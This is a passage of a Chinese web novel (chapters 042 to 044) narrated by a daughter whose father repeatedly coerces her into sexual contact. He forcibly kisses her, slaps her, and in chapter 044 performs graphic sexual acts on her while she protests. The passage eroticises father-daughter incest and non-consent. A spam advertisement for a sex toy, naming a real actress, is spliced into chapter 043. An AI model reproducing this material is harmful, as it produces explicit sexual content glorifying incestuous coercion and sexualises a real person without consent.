热门搜索






[武侠]人间四月(全)-12

  
第042章防微杜渐

寂寂午後,浅白色的阳光斜斜打在重重叠叠的楼宇上,玉白色石桥和苍绿色花木都反著刺眼的浅白光泽。

忽然一阵风吹过,檐前响起风铃细细碎碎的碰撞声,风铃声传得很远,就算是隔了一栋楼宇也依稀能够听到。

在雕梁画栋的楼宇之间的一个隐蔽的角落里,我的身子紧紧夹在爹爹的胸膛和墙壁之间。又是一阵风席卷而来,我胸前的几丝长发被风勾起,绕在爹爹清隽的面庞和高挺的鼻梁上。

这种暧昧的姿势按照常理是不应该发生在我和爹爹身上。可是我和爹爹却是隔三差五的重复上演著同样的动作和剧情。这样的情景扰得我情绪异常烦躁,时常没有来的就想砸东西来泻火。心间仿佛是堵了一块石头,搁得我的心头阵阵发著痛。

“爹爹,您不要总是这样子好不好?”

爹爹长睫轻颤了一下,敛了眸,随後他把水泽色薄唇浅浅勾起,道,“殊儿就这麽厌恶我麽?”

我伸手揉了揉突突直跳的太阳穴,拧了拧眉,“爹爹你明白我的意思!”

“我说过我要定你了,殊儿你何苦再做无谓挣扎?”爹爹神色阴郁,左手三指跟随著语速缓缓在我的脸颊上游走。

“够了!”我打掉了爹爹抚上我的脸颊的手。

我恼的双眸涩涩发酸,像是快要掉眼泪了,“爹爹,我是你女儿,你女儿!算女儿求您,求求您了,您就此饶过我吧……”和爹爹纠缠得越久,我便越发觉得自己肮脏,居然在半推半就下一次又一次的和自己的父亲发生那种的关系。

“不许难过!”说完,爹爹的嘴猛的噙住我的唇,他的舌头狠狠撬开我的唇,伸进我的口腔里恣意搅拌了起来。

“唔唔……不要……唔嗯……”我死命挣扎,对著爹爹的肩膀又推又打,但是对爹爹来说仿佛是无关痛痒的推拿一般,他任我发狠厮打了好一阵子既连眉头也没有皱一下。

“嗯嗯……”我渐渐无力挣扎,只能任凭爹爹紧紧拥抱,深深强吻。

“殊儿,这种感觉你不是也喜欢吗?既然喜欢,为何要拒绝呢?”爹爹半阖眼眸,脸趴在我的脸上轻轻低喃。

我微微转头,避开爹爹炽热的双眸,声音发颤,“爹爹,遵天地循伦常是天性。与爹爹这样的关系让我觉得罪恶和羞耻。”话音落,我眼角上的一滴泪溢眶而出,沿著脸颊缓缓下落。

爹爹伸出食指温柔抹去泪珠,神色极为认真得盯著我看,“殊儿不必去管那些世俗观念,顺著自己的心意走你会活得更自在。”

最近一直和爹爹在这个话题上打转著,我哀求著爹爹放过我,可爹爹从来不把我的哀求当回事。我心下琢磨是不是要用上激烈的手段才能摆脱爹爹无休止的纠缠?

“好久没有要你的身子了,我好想要你,好想,好想……”爹爹一边说,一边隔著衣服把手伸向我的阴阜处来回的抚摸。

“不要──”我狠狠推开爹爹不规矩的大手,烦躁异常的情绪让我口不择言了起来,“爹爹您若是觉得乱伦很刺激大可去找妹妹!我想以妹妹的洒脱和她对爹爹的千依百顺,她是不对拒绝爹爹!”

“啪!”地一声,爹爹重重甩了我一记耳光,冷厉道,“你胡说些什麽?!”

我捂住被打得辣辣生痛的脸颊,缓缓抬眼,见爹爹正一脸的阴沈的瞪著我看。

我勾唇一笑,淡淡嘲讽道,“如果爹爹不是在禁忌中尝到了刺激的甜头又怎麽会死缠著我不放!既然爹爹只喜欢禁忌,那麽百里嫣然和我对与爹爹又有何不同?还是在爹爹心里从来只当百里嫣然是女儿而把我当了外人?!”被爹爹纠缠的这些的日子里我过得很痛苦,如果再这样下去我迟早会崩溃掉的!

“殊儿!”爹爹眯起眼眸危险地盯著我,胸膛更是急剧起伏,拳头攥得咯咯直响,显然是在辛苦的隐忍著怒气。

“你不要叫我!难道我说错了吗?难道爹爹是因为爱上了女儿所以才会一次又一次的缠著女儿不放吗?”

听此,爹爹神情微征,一眨眼功夫後又恢复如初,他极为认真地说道,“殊儿,我是真心喜欢你的。”

“爹爹这麽说真真是可笑极了!”虽然爹爹用的是‘喜欢’而不是爱,但是我还是觉得‘喜欢’两字用的可笑。“想当初爹爹要我装死,表面上说得好听是为了防止风霢利用此事生出是非,实则是为了您自己的名声!”什麽帝王忌惮?!什麽顾全大举?!我猜疑爹爹那时对我说的那些理由全部都是假的,他让我假死只是为了自己的名声而已。“一个如此爱惜名声的爹爹能以怎麽样的心态来纠缠著我?我猜爹爹只不过是在寻求刺激想玩弄殊儿罢了。”

“ 殊儿,闭嘴!”爹爹额头上的青筋时浮时沈,明显是愤怒到了极点。

“嗤!我又没有说错,为什麽要闭嘴?!难道爹爹敢在天下人面前公开爹爹与我现在的这种关系吗?!”我冷眼看向爹爹,脑袋越是往深处想,心便越加的往阴寒里沈沦。

“殊──”待爹爹张口正要回答的时候,从墙角不远处的苍翠树丛中发出了一声轻微的树枝摇晃声。

爹爹眼风一瞟,瞬间变了脸色,又听他诧异道,“嫣儿?!”

我惊得连忙扭头去,只见百里嫣然正惊惧得瞪著我们看,她见自己的行藏败露,连忙扭头就跑……

我脸色惨白,脑袋刹那间失去了所有的思考能力。

我们的关系被人发现了?!霎时一股绝望从脚底窜上心头,我全身虚浮,整个人虚幻的仿佛在空中飘零……

我愣愣凝著白里嫣然刚才所站的位置,全身不能抑制的颤颤发抖。

爹爹回过头来,见我此般反应,脸色惊变,他焦虑伸手捧起我的脸,双眸定定望著我眼睛,懊恼自责道,“该死!都怪爹爹分了心,居然没有注意到有人向这里靠近!”爹爹顿了顿,再轻柔安抚道,“殊儿不要怕,这件事情交给爹爹来处理。你先进屋去,等会儿我再来找你。”

此刻爹爹的话根本进不了我的脑袋里去,我的身子直挺挺得僵在原地无法动弹。

爹爹忧心蹙眉,他低低一叹息,温柔地俯首狠狠亲上我的唇,再低低喃道,“不会有事的,殊儿要相信我!”

“爹爹……”我缓过神来,一时间双唇颤抖的很厉害,双手更是死死地揪住爹爹的衣衫,仿佛在抓救命稻草一般。

“乖!不要多想~”爹爹地用掌心轻抚著我的脸,忽然他眯起眼,嘴角噙笑,咯咯笑起,“你刚才不是要求爹爹把我们的关系昭告全天下吗?现在怎麽就吓成这个样了?”

“爹爹!都这个时候了,你还有心思拿我寻开心!”我气得直把眼泪落个不停。

“殊儿别哭~”爹爹伸手抹去我腮边的眼泪,轻笑著,“是我大意了,害得殊儿受了委屈真是不该呢。”

“爹爹您不要管我了,快去追嫣然!”脑袋稍稍恢复了一点思考能力,我便焦急得把爹爹的身体往外推。

“好。”爹爹点了点头,刚走出几步,他又回过身来,道,“不要当心,进屋去等我回来。”说完,爹爹便用轻功一跃而起,脚尖点树枝,消失在我的面前……

爹爹这一走,我再也支撑不住得瘫软了身子,双掌抵住冰冷的地砖上,心脏一扯一扯的狠狠跳动著。虽然爹爹要我不要当心,但是我怎麽能不当心?

只要一想到这样的事情若是被娘亲和哥哥知道了,我连死的心都有了。特别是我的娘亲,要是让她知道了我和爹爹做了那种事情,我除了一死又有何脸面去面对一直溺爱著我的娘亲?

今儿被百里嫣然撞见,明儿保不准又被哪个人给撞见了去。再说这世上没有不透风的墙,时间一久再隐秘的事情都会留下痕迹的。

我越想心越慌,手心里直冒冷汗。不行!我必须得趁著事情还没有传开来之前和爹爹断掉这种不正常的关系。

第043章预料之中(小修)

那天的事儿,在爹爹及时的处理下,自然而然的没有了下文。只是此後我每次见到百里嫣然总觉得尴尬,每每见她把眸光睨向我之时,我总是直觉得别了脸,逃避她眼中的不耻和探究……

“小姐,大夫人院子里的周婆子说有事要见您。”小碧从屋外进来打断了我的神游。

我微微一愣,大娘院子里的人来我这要做什麽?

我缓缓抬眼,放低了虽然是挡在眼前却一字也没有看进去的书卷,对小碧说道,“请她进来吧。”周婆子是大娘院子里的老人了,她深得大娘的器重。对待大娘身边有头有脸的人物,我自然是要客气的,所以用了个‘请’字而不是随意地用‘叫’字。

“嗯。”小碧应了一声,轻快地转身出去领人进来。

不一会儿,小碧便领著周婆子进来了。周婆子屈膝向我一礼,道,“请小姐安。”

我笑著答道,“嬷嬷不必多礼,坐下说话。”随後抬眼向小碧,又道,“小碧,去沏一盅茶来。”

“是。”小碧屈膝一礼应声道。在人後我不喜身边的人太多的规矩,但是在人前,‘小姐的尊贵’还是要端著点,以免让人说了闲话,惹得娘亲伤心。还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

“老奴谢过小姐赐坐。”周婆子两只手交叠在身前,躬腰向我一礼,随後便站直身子,抬眼望著我,嘴角含笑地说道,“老奴今儿来是奉大夫人的命来请小姐到花园里吃饭。夫人说一家子的人有好些日子没有相聚在一起吃饭了,今儿趁著爷和少爷在家正好的聚一聚。”

我垂眸,爹爹虽然是从朝廷上退了下来,但也不是诸事不管,毕竟爹爹养一大批的势力是要银子的。所以爹爹近一个月来忙著生意之事,很少有闲暇过来我这里绕我。一想到待会儿又要面对爹爹和百里嫣然,我无法抑制地烦躁了起来。

我不由微微拧了眉,随即便又舒展开来,轻轻撩眼,恢复笑脸,道,“我知道了,劳烦嬷嬷回复大娘一声,说我梳洗後会立即过去。”大娘是爹爹的原配夫人,在百里家中地位只次与爹爹,她表面看似平易近人、温和可亲,实则却是个心计颇深,极为精明,不容人去得罪的厉害角色。她的面子,我只要身还处在百里家中一日便不能驳。我颓然感伤,这便是庶出的无奈。

“是。”周婆子又是屈膝一礼,“那老奴这便告退了。”

“嗯。”我点点头,淡淡应声,“小碧,送送嬷嬷。”

“是,小姐。”小碧垂眉应声,随後她便领著周婆子出了屋子。

**

冬日的阳光照在人身上是种说不出的温和和柔软,感觉很舒服。

到花园里见大娘和娘亲早已经坐在椅子上了。我走过去向大娘屈膝行礼後,便故作脚步轻快地走到娘亲身边坐落。

娘亲便抬眸对我温柔的笑,我回娘亲一个笑颜。

娘亲问,“怎麽来得这般迟?”

听娘亲这般问我,我不由心间酸楚,妾室在这个时代里的地位并不高。这些年,爹爹因为我的关系,对娘亲比以前好很多。但是娘亲在欣喜的同时却依旧是生活的小心翼翼,唯恐出一点的差错,现今所得到的一切便化为乌有。

我故作调皮地向娘亲吐了吐舌头,在娘亲的耳边低语道,

“梳洗打扮总要花了一些时间,不过还好没有来得太迟。阿爹、哥哥、妹妹都还没有来呢。”

“你呀。”娘亲抬眼,温柔地对我笑,小声交代道,“以後梳洗打扮的速度要快一点。”

“知道了,娘亲~”我亲昵地挽著娘亲的手臂,懒懒地撒娇。

娘亲瞥了我一眼,嗔道,“要放在心里,不要只在嘴上应承我。”

“嗯嗯。我定把娘亲的话记在心底深深处~”我笑著回答。

我又和娘亲里叽里咕噜了几声後,我们便不再说话,虽说只是普通的用膳,我们母女悄悄讲话只会增添‘家’的温馨气氛(算是卖给大娘面子,在众多奴仆面前表示一下,在她‘温和仁善’、‘贤良淑德’的治家下,家庭是多麽的美满和睦。)但是也不能凉著大娘太久。於是,紧接著,母亲便没话找话的跟大娘聊天著,我也偶尔插上那麽一两句的话儿。这般情景在不知内情的奴仆眼中自然是令人羡慕不已的好福气。

这样的生活我本来就是很不喜欢的,再加之这些日子爹爹对我的纠缠,让我对现在的生活更加的心烦与厌恶。

其实这些年来我私下里攒了不少的银子,要在外面买个房子,让娘亲和我安安宁宁地生活到老,是绰绰有余的。若是我再天真烂漫一点的话,我会毫不犹豫地选择带著娘亲出去生活。但是我毕竟不是处在不知天高地厚的年纪,这个时代的外面世界是不适合女子独自生活的。这正是我会在发现长空瑜另娶妻子後,毫不犹豫地选择回到很受约束的百里家的原因之一。

那自愿给我为仆的顾宸和韩衣待我极好,他们是有能力让我独立的人,我并不是没有想过借助顾宸和韩衣让自己独立自主地生活。但是最後还是强硬地逼迫自己放弃这种想法。因为顾宸和韩衣对我来说只是两个不知根底的人。他们的来历和背景,我都不清楚。很多事情是不能只观看表面的,人心向来是世上最难看清的东西,就连今世生身父亲的真面目我也是在最近才知晓,更何况是顾宸和韩衣这两个和我非亲非故的半路熟人呢?我总觉得,这世间不会有一个人平白无故的待另一个人好,他们亲近我一定有著某种不可告人的秘密……

而且。我的思绪顿了顿,我缓缓侧脸,深深注视著娘亲。而且娘亲深深慕恋著爹爹,要带娘亲离开爹爹身边那是万万不可能的……

心思恍惚间,突听一婆子喊道,“夫人,您看,爷,大少爷,二小姐从荷塘那边过来了。”

又听哥哥爽朗的笑声不远不近地传来,“哈哈~妹妹,你可真是顽皮。乌龟四脚朝天是翻不过身的,你想让他渴死在荷塘边吗?”

“谁要它爬到路中央吓我来著!不过我不会那麽狠心啦,等下我气消了就去把它翻回身来……”这是百里嫣然的声音。

“这丫头,又顽皮了。”大娘抬眼看向池塘那边笑道。

我侧过头,正对上爹爹和哥哥同时望向我的两双眼睛。

因为有哥哥在看,我也只得做做样子地朝他们一笑,正要转眸却又好巧不巧地对上百里嫣然那双盛著冰的冷眸。

我浅敛笑靥,伸手捏一块软糕往嘴里送。

哥哥走在百里嫣然前面,百里嫣然则是楚楚动人地走在爹爹的前面。

他们渐渐走近。

倏然,百里嫣然一个不留神,被一颗石头绊了脚,她“哎呀~”的一声柔软的轻叫,身子往後倒去,正走在她接後的爹爹眼明手快地接住她往後倒的身子,她的身体就这麽稳稳地躺进他的臂弯里。

待百里嫣然站定後,爹爹的手方长从她肩膀处抽回。爹爹淡淡道,“怎麽这麽不小心?”

百里嫣然咬著下唇,瓜子小脸苍白如纸,她可怜兮兮地抬眼凝著爹爹,神情似哭非哭,这一副饱受惊吓的娇美样姿,就算我是女人看了也心痛,更何况是男人呢?

大娘见了,急忙紧张站起身来,快步走过去拉住了百里嫣然的小手,嗔责道,“你这野丫头,走路也不看著点,今儿要是你爹爹不在你身後,还不知道你会摔成怎麽样子了!”

……

我深深拧眉,百里嫣然刚才跌倒的方向太过诡异,她若真是不小心被石头绊倒,根据地心引力原理,她的身体应该是向前倒去,而不是向後倒进爹爹的怀抱里去!──这分明是明显百里嫣然故意而为之的。她的‘勾引’本该是天衣无缝的,只是她可能从来没有被石头绊倒过,所以不明白若真被石头给绊了的时候该往哪一个方向倒。不然若是单看她无懈可击的做戏功夫和那一脸苍白的样子,我还真不会发现她真实的‘用心’。

百里嫣然居然对爹爹起了不该有的心思了?!这件事情虽然看似荒唐,但是却是在我的意料之中。──像爹爹这样生得极为稀罕的好看又有一身的强悍本事的男人,女子只要接触了就难以放得下(百里嫣然还与爹爹相处了十多年呢)。再加之百里嫣然本来就对爹爹向来是极为崇拜,她又见到爹爹那样的对待了我。这怎麽不让她的心起涟漪呢?

这一点连我都能看得出来,爹爹是何等精明之人,他怎能可能会看不出来?爹爹他对百里嫣然这种隐藏式的爱慕到底是怎麽样的一个态度?这样美丽热情富有活力的女子,爹爹会不会动心了呢?

想到此,我不由转移了视线,双眸认真地凝著爹爹看,想从爹爹平静如水的表情里寻到一丝丝不寻常的端倪来。可是我最终是失望了,因为爹爹神色自然,并无一丝丝的不寻常情绪。

随即我又狠狠甩了甩头,顿觉好笑,嗤!我在烦恼些什麽呢?爹爹若是转移了注意力,我该是开心才是,而不是产生这种类似嫉妒的不正常情绪。

就在我打算收回望向爹爹的目光时,爹爹忽然抬起头来,他漆黑的眼眸对上了我凝向他的眼眸,不知为何他的表情明显的愣了一下,好几秒过去後,他的呆愣的表情一变,眉梢眼角荡起了明媚的笑意。

见爹爹倏然转变的脸,我心下一惊,随後立即明白定是自己把心思纷乱都表现在脸上了,所以才让爹爹的反应如此的错愕又惊喜。而爹爹的错愕与惊喜却让我心底烦躁异常,不想,一时的烦躁让我控制不住情绪,竟把手中的丝绢给撕裂了。

“殊儿,怎麽了?”

我缓缓回过头去,看著因为我而脸色变得苍白的娘亲,我不由心生愧疚,我刚才在想什麽呢?爹爹是我娘亲的夫君,是我的生身父亲!我怎麽可以对他产生不该有的眷恋呢?

“没。”我摇摇头,笑著回道。

“……”娘亲动了动嘴,想说什麽却话到嘴边又生生咽了回去。

“娘亲,我真的没事。”看著娘亲担忧的眼神,我知道娘亲是误会了,她误会我在眼红百里嫣然的受宠。但是我不能点破,也没法点破。

“殊儿,今儿怎麽了?好像很不开心呢。”在我和母亲谈话间,爹爹已经走到离我很近的地方。

我抬眼,双眸冷冷地望著爹爹。我敢肯定爹爹是故意挑衅!!若是只有我和爹爹两个人在独处,那麽我不会去理会爹爹恶意的捉弄,但是今儿有这麽多人在,若是不回话,那便会让人觉得怪异了。於是我笑笑,“哪有!只是很久没有见到爹爹和哥哥,所以殊儿在心情激动下表情难免僵硬,没想到这倒是让爹爹取笑了去。”反正刚才除了爹爹和娘亲,所有的人都把注意力放在百里嫣然身上,谁也没有看到的表情。所以现在随便我怎麽说都成。(这一刻我心里有些庆幸,庆幸刚才所有人的注意力都在百里嫣然身上了,不然就算不会把我和爹爹往那一方面想,也会歪曲我刚才那表情、那眼神所隐含的意思。)。

“是吗?”爹爹挑眉轻笑,撩袍坐落在我身旁。

我心又一紧,爹爹怎麽可以坐在我身边的这个位置来?脑筋一转,才恍然明白:爹爹刚才那‘恶意’挑衅,原来只是为了借和我说话,让他‘很自然’地坐在我身边来。(我们坐的是长板凳,一条凳子很长,可以做下四个人。)

我拧眉,可是爹爹这样做无疑让我在所有人面前变成很有心计的主儿。他们会认为爹爹坐在我身边,是我故意用‘不开心的表情’和‘近乎拍爹爹马屁的语言’去引爹爹坐在我身边来的。

爹爹侧著头,漆黑的眼眸亮晶晶的盯著我看,接上面的话儿,“能被我家殊儿惦记,我心里真的很高兴。”

我捻起丝绢,故作害羞地捂嘴轻笑,道,“爹爹最近生意好像挺忙的?殊儿近一个月都没见著爹爹人影呢。”招架不住,只能不露痕迹地转移话题。

爹爹垂眸看向我的丝绢,两指慢慢捻起,故作不悦地拧起眉来,“我有亏待殊儿吗?怎麽殊儿的绢帕破了也不换一条。”

我突然明白爹爹今儿的‘恶意’并没有因为达成他的目的而终止。他现在定是在报复我说‘近一个月都没见著爹爹人影’这句假话。

我佯装一愣,挥开手中绢帕,故作惊讶地叫道,“呀~我刚才出门前明明还是好好的,可能是因为殊儿太想见到爹爹、大娘、娘亲、哥哥还有妹妹。路走得急快,连手中绢帕被什麽东西勾破了都不知道。”

“敢情我们家殊儿妹妹是个迷糊蛋呢。”哥哥开口说道。

我抬眼,表‘感谢’地对哥哥挤眉弄眼。

哥哥笑笑,表‘不用谢’地对我淡挑左眉。

我噗嗤一笑,见众人皆抬眼看我,我佯装是顽皮的动作被发现後很难为情的敛眉不语、正襟危坐。

大娘见此不由摇摇头,笑道,“你们这帮孩子净是顽皮的主儿。嫣儿把乌龟给翻得四脚朝天,殊儿你却偷偷对你哥哥做鬼脸……”

周边的奴仆们和声低笑了起来,随後娘亲也跟著轻笑了起来。

我不由心底暗叹,原来每一个人都是在努力的伪装自己,明明不是什麽好笑的事儿,但却只因是大娘开口的,每一个人的反应皆像听了会乐掉牙齿的笑话一般的笑著。

我不懂这该叫滑稽还是叫可悲,不过他们这种反应总算是把我的尴尬遮盖。让我在爹爹的咄咄逼人的压迫中寻找到呼吸的空气……

第044章鸳鸯枕上(禁)

从花园里回来,已经是午後。在人前和爹爹周旋,使得我的精神很是疲惫。

拖著软绵绵的身子坐在临窗的榻子上,小碧服侍我脱了鞋子後,我挥挥手,让小碧站起身来,自个儿动手脱了袜子,平时我不喜欢穿著袜子,觉得脚被裹著很不舒服,可大冬天的,不穿又冷,但是一旦躺到了床上或榻子上我便会脱去袜子,让脚呼吸空气。

随後,小碧弓著身子把叠在榻尾边上的锦绣粉红被褥摊开,从我的脚直盖到我的膝盖上。

弄好後,我抬眼笑著对小碧说,“小碧,你不用服侍我了,晚膳也吩咐厨房里的人不用送了,你帮我弄几样水果和零嘴过来就成。”

小碧生气地瞪圆了眼珠子,叉著腰,表情有点凶悍,“小姐,你又要不吃晚膳了。”

我歪著身子弄了弄身後的靠枕,调试到一定的高度时,舒服地靠了上去,随後才瞟了一眼小碧,笑道,“晚上只吃水果可是很不错的养生之道呢。”

小碧撇撇嘴,“我才不信小姐瞎扯哩,这晚膳你还是要吃的!”

我拿起美人榻上今早才放上去的书卷劈劈啪啪的翻到了夹著书签的那一页,才抬头笑著取笑道,“行了,我的管家婆!我下午是吃撑了,所以晚上吃不下。快去准备水果来,然後就跟你的情郎哥约会去~”

“小姐,我不理你了!”小碧嘟著小嘴,双颊红彤彤的,一跺小脚就捂脸跑出去了。

我对著她跑出去的身影轻笑著摇摇头,觉得谈了恋爱的人特别的幸福,想著想著,我不由落寞地把脸转向窗的方向……

看著窗上嵌著的一大块的水晶,我不由心中一暖,爹爹待我的好是那种无法用语言来形容的好……

这窗是我搬到这里住时,特地要工匠师傅重新做的,窗棂是用紫檩木围成,窗棂里面没有横竖成格子的木条,它只用一块稀有大水晶遮盖。水晶在这里的功用充当我那个时候里的玻璃(只因这个世界没有发明玻璃)。它在夏天时可以向左挪动,通风透气。在冬天时可以遮得严实,让窗外的风穿不进来,保持屋里暖和。

水晶在这个时代虽然不难找,但是这麽大块的玻璃却很难找,我记得那时我只跟爹爹随意地提了这麽一句,不想,不到五天的功夫,爹爹就帮我弄来了这麽一大块的水晶。虽然事後爹爹只和我轻描淡写的说了这块大水晶的出处,但是我想若不是经历千辛万苦是找不来的。

我伸手抚摸著水晶平滑的表面,而且。还把这水晶切割的如玻璃光滑,若不花费了一翻心思怎麽做到?

只是,爹爹待我好是因为我是他的女儿,还是……

“砰──”地一声极轻的闷响,打断了我的思绪。垂眸一看,只见书卷在我思绪紊乱间滚落膝盖。

我甩甩头,我怎麽又往那方面想了?

我拾起书卷,书签掉落了下来,我翻了好一会儿才复翻到早上所看的那一页。

懒懒地靠著,缓缓地一页接一页地看著书……

看著看著,精神乏了,不知不觉中,我便模模糊糊的睡著了……

**

睡得朦朦胧胧间,脚仿佛被一温热的大手握进手掌心里,细细揉捏。

我嘟蠕著嘴,以为是做梦时产生的错觉,并不以为意地只抽了抽脚,继续想沈沈地睡。

“呵呵……”

突听有爹爹的声音,我不由皱眉,怎麽梦中会有爹爹的声音……

不对!梦中怎麽会听到声音呢?

我猛的的睁开了眼睛,见金橘的灯光从案几的风灯里朦朦胧胧的射了进来。

我睡前明明是午後,怎麽一睁眼天就全黑了。看来我这一睡便睡了一个下午。

我把视线往下移动,果见在榻尾处坐著个爹爹。他背著光,周身皆笼罩在金橘色的朦胧灯光里,把他的魅力展示的更加的惊人。

“爹爹?您怎麽来了?”我现在一见爹爹就觉得头疼。

“今儿中午的时候,你不是说很久没有见到我了吗?为了解殊儿的想念之苦,我便过来了。”

“您是怎麽时候来的?”我力道一狠,把脚从爹爹手掌中抽回。

爹爹挑了挑眉,神色依旧淡笑如莲,并没有对我的动作表示出任何的意见。只是他的一双眼依旧灼热地盯著我的脚直看,眼里的那两团火仿佛要把我的脚儿燃烧。

“今儿下午应付了他们後,我便过来了。”爹爹笑著回答,仿佛又是那个我所熟悉的爹爹了。

“哦。”不用说,爹爹来时我一定已经睡著了,“那爹爹怎麽也不叫我一声?”我双手撑在榻上,坐起身子,不露声色的把脚藏进了被褥里。

爹爹瞪著我藏进被褥里的脚好一会儿,才把他的视线移到我的脸上来。他笑道,“见你睡得香甜,我不忍打扰,再则看著你的睡颜我心里也很享受。”

我抿了抿唇,歪过头去,冷道,“爹爹总没把殊儿的话放在心上。”

这时爹爹俯身向我,长长的发丝拂过我的脸,带来痒痒的触感。

我直觉要避开,下颚却被爹爹捏住,他强行掰著我的头,让我的脸正对著他。

爹爹静静地盯著我,突然他低低笑起,微阖著脸,低首亲上我的唇,再轻轻蹭了蹭,性感的声音微微沙哑了,“殊儿的唇上好干。”

我皱了皱眉,知道这是爹爹转移话题的伎俩。我无奈地闭上眼任爹爹在我的唇上一吻再吻,直到他的口水把我的唇舔的湿漉漉的时候他方才缓缓地直起腰来。

“爹爹……你究竟想要玩到什麽时候才肯收手?”我张著水雾朦朦的眼,情绪很是激动。

“殊儿太过分,你怎麽能用‘玩’字来形容我对殊儿的真心呢?”爹爹漆黑的眸离我的眼睛不到两厘米。他的漆黑的眸近得让我眼花,只得扭过头去,“爹爹,殊儿求您停手吧。”

“殊儿,我看是你从来没有把我的话放在心上,我说过你是逃不掉的,你还不明白吗?”爹爹的大手狠狠地箝住我的脸,把我的头转向他。

“爹爹,您是我的生身父亲,这是无法改变的事实!无论是您对我有著什麽样的喜欢,我们都只是父女而已。您明白吗?我们不可以有其他的关系。就算爹爹您不为天下的议论皱眉,也要为身边的亲人想想!要是我们的事情传了出去,您我该怎麽面对他们呀~”在百里嫣然看到後,我便发誓一定要断了和爹爹的关系。为了自己好也为了爹爹好,我必须得理智!

“殊儿……”爹爹轻轻低叹,他捧起了我的头,漆黑的眸一瞬不瞬地盯著我看,抱怨道,“你醒来这麽久就没有发觉爹爹今晚有何变化麽?”

“爹爹……”我睁大眼睛,爹爹怎麽可以这麽的无赖忽视掉我的话。

我才开口叫了爹爹,便被爹爹给强硬的打断了,“认真看我,说说我今晚有何变化……”

我抬眸认真看向爹爹,但见今儿的爹爹并没有像往常一样用一根长长的白带高高得束起乌黑的长发,他只用一枝浅翠色的碧玉簪子在脑後轻挽上一个髻,挑出两缕细细碎碎的长发软软绵绵的垂下他胸前。

我一愣,这扮相……

见我愣著了,爹爹这才勾起笑靥沙哑道,“常说‘女为悦己者容’,而我今晚这是为殊儿而容……”

我呆了呆,嘴巴不能控制地张大了,一时间喉咙像被堵塞住了,发不出一点声音来……

“殊儿……我的好殊儿……”爹爹俯首,在我的唇边深深低叹。他的一只大手从我的脖子处慢慢地爬上了我的後脑勺按住我的头,把我的唇压向他的唇边,另一只隔著厚厚的被褥顺著我的膝盖往下滑去,大手包住我的脚,力道轻柔地捏了又捏。

“唔……爹……不要……唔唔……”我的嘴被爹爹吻得麻麻的,脚心却被爹爹的大手捏得痒痒的。

“ 不要说话……”爹爹按紧了我的头,他把舌头伸进我的口里搅拌了起来。

……

仿佛吻了许久,只到我快要不能呼吸的时候,爹爹终於是把我给放开了。

接下来,我只有起伏著胸膛,拼命呼吸的份儿了。爹爹风流一笑,倏然,他正扶著我的後脑勺的大手猛的抽了出来,我的上半身在毫无防备的情况下从半空中掉在榻子上。

“呀……”我惊叫了一声,双目圆瞪,狠狠得盯著爹爹。

可爹爹并不看我的眼,他半垂眼眸,掀开了我身上的被褥把我的双脚抓到了他的大腿上,随後又双掌合并地捧住我的脚,低哑又温柔地说道,“殊儿的小脚儿真漂亮。”

我垂眸,见自己在爹爹手中的那一只脚在爹爹的大手中显得特别的白净,十个脚趾头在灯光下更是晶莹剔透、圆润如珠,难怪在我前世的古代里女人的脚只能给自己的丈夫看。

只给丈夫看……

想到此,我心一跳,忙不迭地把脚从爹爹的手中抽了出来。

爹爹眯起双眸,眼神很是危险地看著我,随後他以闪电一般的速度抓住了我的脚,他低下头轻咬住我的一根脚趾头并用他的舌头在我的脚趾头上舔了一圈。

“啊!”我吓得尖叫,顿时整个身子都火辣辣的热了起来。

听到我的叫声,爹爹才慢条斯理的吐出我的脚趾头,缓缓抬头,他盯著我看,那眼神仿佛在说我越是反抗,他的兴致反而会越高。

我苦恼又委屈地咬紧下唇,眼前雾霭朦朦,脸颊上有两条热热的液体在不停地滑动,我知道我是哭了。

爹爹捧起我的脸,麽指轻柔地擦拭去我腮边的泪水。却一句话也不说。

“……”我盯著眼前雾蒙蒙的爹爹,张了张口想要说话,却因喉咙哽咽,怎麽也发不出声音来。

正是在我心乱如麻的时候,爹爹俯下身子,动作轻柔地解开了我的腰上的带子,掰开了我的衣襟,再脱掉了我的裤子。随後他徐徐挪动身体,把我的双腿架在我的肩膀上,大手在我的奶上如同揉面团一般的捏了许久後,就用指尖沿著我高高凸起的奶画著圆圈……

“爹爹不要……”这时,我从心乱如麻中抽出了思想,立即脸色一变,拍掉了爹爹在我奶上作弄的大手。“求您了……”

爹爹先是明媚的对我笑,我心间顿觉毛骨悚然,果不其然,在下一刻里,爹爹倏然变脸,他极其凶悍地一手摁住了我的小腹,不让我挣扎。紧接著他伸出一只手开始揉捏起我的阴蒂来。

“啊……”无论是多麽的不想,阴蒂在被揉捏的一瞬间,我的上半身子还是不能自主的高高挺起,仿佛是快要窒息地张著小口拼命喘气。小穴中有热热的气往穴口流窜而出。

动情的热气喷洒在爹爹的大手上,爹爹抬眼明媚的瞟我一眼,随後他像是在宣示他的胜利一般弯弯地勾起了嘴唇,再狂狷地一并五指中较长的双根手指,以温柔不伤嫩肉的粗暴把他的手指捅进了我的小穴里。

“啊……”我经受不住地仰头颤叫。

“很舒服吧……”爹爹得意地瞟了我一眼後,就不再理我。他的两个手指头在我的阴道里忽儿像是两只不停在跑的脚一般,一曲一直地用力抵住我阴道的嫩壁不轻不重的扣,深深浅浅的挖;忽儿又伸直了两指咕唧咕唧的径直抽插。

“啊……”我的身体直颤抖,小穴痉挛的很是厉害。一汩接一汩的滑液喷射出来,屁股摩擦的床榻上已是湿漉漉的被淋了一大片的水。

“咕噜……”

一声不大不小的喉咙搅口水的咕噜声让我让眼看向爹爹的脸,只见他的本是漆黑的眼眸此刻染上了情欲高涨时的晶莹光泽,那眼神像是要吃了我一般的贪婪。此时他忙里抽空地抬眼看我,见我正呆呆地望著他,他看著我的眼眸性感的微眯了一下,便再次勾唇对我一笑。我心下一惊,预感不好!果然!他猛的抽出了插在我阴道里的手指,速度很快地俯下了头去,张口贴伏在我的两胯之间,舌头顶进了我的小穴里,撩拨著阴道里的淫水往他的嘴里猛送。

“爹爹……”我摇头尖叫,罪恶又刺激地颤抖起了身子。

